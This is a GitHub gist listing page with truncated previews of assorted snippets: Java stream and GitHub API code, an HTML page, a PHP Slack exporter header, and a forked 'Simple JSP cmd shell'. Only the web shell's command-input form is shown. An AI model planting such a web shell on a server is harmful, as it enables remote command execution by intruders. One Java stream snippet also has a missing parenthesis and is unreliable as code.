Skip to content

Instantly share code, notes, and snippets.

map1
*
*X*
*X *
S**** X ***E
X
X
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.RejectedExecutionException;
import java.util.concurrent.Semaphore;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
@farnulfo
farnulfo / gist:ebe7f1f60997849842e8
Created March 24, 2016 19:34 — forked from hay/gist:1351230
Enterprisify your Java Class Names!
<!doctype html>
<html>
<head>
<title></title>
<style>
body {
background: white;
text-align: center;
padding: 20px;
font-family: Georgia, serif;
LocalDate now = LocalDate.now();
persons.stream()
.filter(Person::isMale)
.filter(p -> p.isAdult(now)
.map(p -> p.getFirstName() + " " + p.getLastName())
.collect(Collectors.toList());
GitHub github = GitHub.connectAnonymously();
GHRepository repository = github.getRepository("sass/node-sass");
PagedIterable<GHRelease> listReleases = repository.listReleases();
for(GHRelease release : listReleases.asList()) {
List<GHAsset> assets = release.getAssets();
for(GHAsset asset : assets.subList(0, 10)) {
System.out.println(asset.getLabel());
System.out.println(asset.getName());
System.out.println(asset.getBrowserDownloadUrl());
}
<?
/////////////////////
// slack2html
// by @levelsio
/////////////////////
//
/////////////////////
// WHAT DOES THIS DO?
/////////////////////
//
@farnulfo
farnulfo / cmd.jsp
Created March 2, 2023 17:06 — forked from nikallass/cmd.jsp
Simple JSP cmd shell
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>